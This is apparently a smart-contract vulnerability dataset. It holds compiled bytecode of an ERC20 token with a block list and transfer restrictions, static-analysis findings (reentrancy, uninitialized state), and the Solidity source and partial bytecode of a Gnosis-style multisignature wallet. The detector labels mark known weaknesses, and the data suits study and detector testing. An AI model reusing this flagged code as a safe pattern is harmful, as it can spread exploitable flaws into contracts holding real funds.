57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611082906124e0565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906126c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906126fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131391906126fe565b6040518363ffffffff1660e01b815260040161133092919061272b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906126fe565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161144496959493929190612799565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061280f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b929190612862565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e91906128b7565b5050565b6007805461159f90612450565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90612450565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612956565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906129e8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190612037565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190612a7a565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611a9c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a9b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b611aa557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf757600960009054906101000a900460ff1680611b5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bb75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed90612b0c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c5f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cb75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ced57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cf657600080fd5b611d01838383611f67565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90612b9e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e1a9190612627565b92505081905550436004600b54611e319190612627565b118015611e8b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611efb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611eee9190612bbe565b60405180910390a3611f61565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f589190612037565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fab82611f80565b9050919050565b611fbb81611fa0565b8114611fc657600080fd5b50565b600081359050611fd881611fb2565b92915050565b60008060408385031215611ff557611ff4611f76565b5b600061200385828601611fc9565b925050602061201485828601611fc9565b9150509250929050565b6000819050919050565b6120318161201e565b82525050565b600060208201905061204c6000830184612028565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208c578082015181840152602081019050612071565b8381111561209b576000848401525b50505050565b6000601f19601f8301169050919050565b60006120bd82612052565b6120c7818561205d565b93506120d781856020860161206e565b6120e0816120a1565b840191505092915050565b6000602082019050818103600083015261210581846120b2565b905092915050565b6121168161201e565b811461212157600080fd5b50565b6000813590506121338161210d565b92915050565b600080604083850312156121505761214f611f76565b5b600061215e85828601611fc9565b925050602061216f85828601612124565b9150509250929050565b60008115159050919050565b61218e81612179565b82525050565b60006020820190506121a96000830184612185565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121ec826120a1565b810181811067ffffffffffffffff8211171561220b5761220a6121b4565b5b80604052505050565b600061221e611f6c565b905061222a82826121e3565b919050565b600067ffffffffffffffff82111561224a576122496121b4565b5b602082029050602081019050919050565b600080fd5b600061227361226e8461222f565b612214565b905080838252602082019050602084028301858111156122965761229561225b565b5b835b818110156122bf57806122ab8882611fc9565b845260208401935050602081019050612298565b5050509392505050565b600082601f8301126122de576122dd6121af565b5b81356122ee848260208601612260565b91505092915050565b60006020828403121561230d5761230c611f76565b5b600082013567ffffffffffffffff81111561232b5761232a611f7b565b5b612337848285016122c9565b91505092915050565b60008060006060848603121561235957612358611f76565b5b600061236786828701611fc9565b935050602061237886828701611fc9565b925050604061238986828701612124565b9150509250925092565b600060ff82169050919050565b6123a981612393565b82525050565b60006020820190506123c460008301846123a0565b92915050565b6000602082840312156123e0576123df611f76565b5b60006123ee84828501611fc9565b91505092915050565b61240081611fa0565b82525050565b600060208201905061241b60008301846123f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246857607f821691505b6020821081141561247c5761247b612421565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124eb8261201e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561251e5761251d6124b1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061258560288361205d565b915061259082612529565b604082019050919050565b600060208201905081810360008301526125b481612578565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006125f1601f8361205d565b91506125fc826125bb565b602082019050919050565b60006020820190508181036000830152612620816125e4565b9050919050565b60006126328261201e565b915061263d8361201e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612672576126716124b1565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006126b360178361205d565b91506126be8261267d565b602082019050919050565b600060208201905081810360008301526126e2816126a6565b9050919050565b6000815190506126f881611fb2565b92915050565b60006020828403121561271457612713611f76565b5b6000612722848285016126e9565b91505092915050565b600060408201905061274060008301856123f7565b61274d60208301846123f7565b9392505050565b6000819050919050565b6000819050919050565b600061278361277e61277984612754565b61275e565b61201e565b9050919050565b61279381612768565b82525050565b600060c0820190506127ae60008301896123f7565b6127bb6020830188612028565b6127c8604083018761278a565b6127d5606083018661278a565b6127e260808301856123f7565b6127ef60a0830184612028565b979650505050505050565b6000815190506128098161210d565b92915050565b60008060006060848603121561282857612827611f76565b5b6000612836868287016127fa565b9350506020612847868287016127fa565b9250506040612858868287016127fa565b9150509250925092565b600060408201905061287760008301856123f7565b6128846020830184612028565b9392505050565b61289481612179565b811461289f57600080fd5b50565b6000815190506128b18161288b565b92915050565b6000602082840312156128cd576128cc611f76565b5b60006128db848285016128a2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061294060248361205d565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129d260228361205d565b91506129dd82612976565b604082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a6460258361205d565b9150612a6f82612a08565b604082019050919050565b60006020820190508181036000830152612a9381612a57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612af660238361205d565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b8860268361205d565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b6000602082019050612bd3600083018461278a565b9291505056fea2646970667358221220218ca917585543c53bbc7641be45bb6150e5e3e6558aa5c1e4262282b82c809164736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,303 |
0xe20b6ce8ce5fc4bd570070abb586e0a170b81ee3
|
pragma solidity ^0.4.18;
/// This Multisignature wallet is based on Gnosis implementation: https://github.com/Gnosis/MultiSigWallet
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function() payable public
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
emit DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x6060604052600436106101535763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461019c578063173825d9146101ce57806320ea8d86146101ed5780632f54bf6e146102035780633411c81c146102365780634bc9fdc214610258578063547415251461027d57806367eeba0c1461029a5780636b0c932d146102ad5780637065cb48146102c0578063784547a7146102df5780638b51d13f146102f55780639ace38c21461030b578063a0e67e2b146103b9578063a8abe69a1461041f578063b5dc40c314610442578063b77bf60014610458578063ba51a6df1461046b578063c01a8c8414610481578063c642747414610497578063cea08621146104fc578063d74f8edd14610512578063dc8452cd14610525578063e20056e614610538578063ee22610b1461055d578063f059cf2b14610573575b600034111561019a5733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b34156101a757600080fd5b6101b2600435610586565b604051600160a060020a03909116815260200160405180910390f35b34156101d957600080fd5b61019a600160a060020a03600435166105ae565b34156101f857600080fd5b61019a600435610743565b341561020e57600080fd5b610222600160a060020a0360043516610821565b604051901515815260200160405180910390f35b341561024157600080fd5b610222600435600160a060020a0360243516610836565b341561026357600080fd5b61026b610856565b60405190815260200160405180910390f35b341561028857600080fd5b61026b60043515156024351515610890565b34156102a557600080fd5b61026b6108fc565b34156102b857600080fd5b61026b610902565b34156102cb57600080fd5b61019a600160a060020a0360043516610908565b34156102ea57600080fd5b610222600435610a44565b341561030057600080fd5b61026b600435610ac8565b341561031657600080fd5b610321600435610b37565b604051600160a060020a038516815260208101849052811515606082015260806040820181815290820184818151815260200191508051906020019080838360005b8381101561037b578082015183820152602001610363565b50505050905090810190601f1680156103a85780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34156103c457600080fd5b6103cc610c15565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561040b5780820151838201526020016103f3565b505050509050019250505060405180910390f35b341561042a57600080fd5b6103cc60043560243560443515156064351515610c7d565b341561044d57600080fd5b6103cc600435610da5565b341561046357600080fd5b61026b610f09565b341561047657600080fd5b61019a600435610f0f565b341561048c57600080fd5b61019a600435610fa2565b34156104a257600080fd5b61026b60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061109095505050505050565b341561050757600080fd5b61019a6004356110af565b341561051d57600080fd5b61026b61110a565b341561053057600080fd5b61026b61110f565b341561054357600080fd5b61019a600160a060020a0360043581169060243516611115565b341561056857600080fd5b61019a6004356112c3565b341561057e57600080fd5b61026b6114dd565b600380548290811061059457fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a03161415156105d057600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156105f957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106dc5782600160a060020a031660038381548110151561064357fe5b600091825260209091200154600160a060020a031614156106d15760038054600019810190811061067057fe5b60009182526020909120015460038054600160a060020a03909216918490811061069657fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556106dc565b60019091019061061c565b6003805460001901906106ef9082611628565b5060035460045411156107085760035461070890610f0f565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff16151561076b57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff1615156107a057600080fd5b600084815260208190526040902060030154849060ff16156107c157600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b60006007546201518001421115610870575060065461088d565b60085460065410156108845750600061088d565b50600854600654035b90565b6000805b6005548110156108f5578380156108bd575060008181526020819052604090206003015460ff16155b806108e157508280156108e1575060008181526020819052604090206003015460ff165b156108ed576001820191505b600101610894565b5092915050565b60065481565b60075481565b30600160a060020a031633600160a060020a031614151561092857600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561095057600080fd5b81600160a060020a038116151561096657600080fd5b600380549050600101600454603282111580156109835750818111155b801561098e57508015155b801561099957508115155b15156109a457600080fd5b600160a060020a0385166000908152600260205260409020805460ff1916600190811790915560038054909181016109dc8382611628565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b600354811015610ac15760008481526001602052604081206003805491929184908110610a7257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610aa6576001820191505b600454821415610ab95760019250610ac1565b600101610a49565b5050919050565b6000805b600354811015610b315760008381526001602052604081206003805491929184908110610af557fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610b29576001820191505b600101610acc565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a9004600160a060020a031690806001015490806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c025780601f10610bd757610100808354040283529160200191610c02565b820191906000526020600020905b815481529060010190602001808311610be557829003601f168201915b5050506003909301549192505060ff1684565b610c1d611651565b6003805480602002602001604051908101604052809291908181526020018280548015610c7357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c55575b5050505050905090565b610c85611651565b610c8d611651565b600080600554604051805910610ca05750595b9080825280602002602001820160405250925060009150600090505b600554811015610d3557858015610ce5575060008181526020819052604090206003015460ff16155b80610d095750848015610d09575060008181526020819052604090206003015460ff165b15610d2d5780838381518110610d1b57fe5b60209081029091010152600191909101905b600101610cbc565b878703604051805910610d455750595b908082528060200260200182016040525093508790505b86811015610d9a57828181518110610d7057fe5b906020019060200201518489830381518110610d8857fe5b60209081029091010152600101610d5c5